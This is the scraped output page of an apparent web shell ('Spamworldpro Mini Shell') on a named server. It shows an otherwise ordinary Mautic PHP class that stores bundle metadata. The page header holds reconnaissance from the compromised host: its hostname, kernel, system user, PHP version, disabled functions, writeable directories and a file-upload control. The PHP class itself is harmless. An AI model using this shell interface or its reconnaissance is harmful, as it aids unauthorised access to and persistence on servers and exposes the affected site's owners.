Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/CoreBundle/DependencyInjection/Builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/CoreBundle/DependencyInjection/Builder/BundleMetadata.php
<?php

namespace Mautic\CoreBundle\DependencyInjection\Builder;

class BundleMetadata
{
    /**
     * @var string
     */
    private $directory;

    /**
     * @var string
     */
    private $namespace;

    /**
     * @var string
     */
    private $baseName;

    /**
     * @var string
     */
    private $bundleName;

    /**
     * @var array<string, mixed>
     */
    private array $metadata = [
        'config'            => [],
        'permissionClasses' => [],
    ];

    /**
     * @param array<string, mixed> $metadata
     */
    public function __construct(array $metadata)
    {
        $this->metadata = $metadata;

        if (!isset($this->metadata['permissionClasses'])) {
            $this->metadata['permissionClasses'] = [];
        }

        if (!isset($this->metadata['config'])) {
            $this->metadata['config'] = [];
        }

        $this->directory  = $metadata['directory'];
        $this->namespace  = $metadata['namespace'];
        $this->baseName   = $metadata['bundle'];
        $this->bundleName = $metadata['symfonyBundleName'];
    }

    public function getDirectory(): string
    {
        return $this->directory;
    }

    public function getNamespace(): string
    {
        return $this->namespace;
    }

    public function getBaseName(): string
    {
        return $this->baseName;
    }

    public function getBundleName(): string
    {
        return $this->bundleName;
    }

    public function setConfig(array $config): void
    {
        $this->metadata['config'] = $config;
    }

    public function addPermissionClass(string $class): void
    {
        $this->metadata['permissionClasses'][$class] = $class;
    }

    public function toArray(): array
    {
        return $this->metadata;
    }
}

Spamworldpro Mini